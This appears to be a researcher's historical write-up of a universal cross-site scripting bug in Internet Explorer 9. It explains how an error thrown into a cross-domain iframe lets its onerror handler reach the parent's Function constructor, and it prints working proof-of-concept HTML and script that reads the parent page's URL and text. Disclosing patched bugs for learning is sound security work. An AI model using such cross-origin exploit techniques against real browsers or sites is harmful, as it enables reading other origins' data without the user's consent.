IE9 UXSS: Generate Error to Grab the Error Handler's Caller Function

This one involved a combination of a functionality regression in IE9 and a security bug. When the previous page in a tab was rendered in document mode 8 or lower, certain cross-frame operations that should succeed would instead throw ACCESS_DENIED errors — inside the iFrame rather than the caller. That gave me the opening I needed: the onerror handler in the iFrame could walk back up the call stack using caller.constructor to obtain the parent’s Function object, enabling arbitrary script execution in the parent’s origin.

<!-- The iFrame hosted at a different domain contains: -->
<script>
window.onerror = function handleError()
{
    xFunction = handleError.arguments.callee.caller.constructor;
    xFunction('alert("I am the iFrame reading my parent URL: " + document.URL + "\n\n" + document.body.innerText)')();
    return true;
}
</script>

<!-- The attacker page triggers errors in several ways: -->
<iframe src="http://www.cracking.com.ar/window_onerror.html"></iframe>
<input type="button" value="alert(window[0])" onclick="alert(window[0]);" />
<input type="button" value="window[0].open()" onclick="window[0].open()" />
<input type="button" value="window[0].postMessage()" onclick="window[0].postMessage();" />

The functionality bug is that in document mode 8, accessing window[0] or calling window[0].open() throws an ACCESS_DENIED that is caught by the iFrame’s onerror handler. That handler’s caller.constructor is the parent’s Function constructor, which can then execute code in the parent’s context regardless of domain. Even in document mode 9, where the functionality bug is absent, calling postMessage() without arguments still triggers the same UXSS path.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.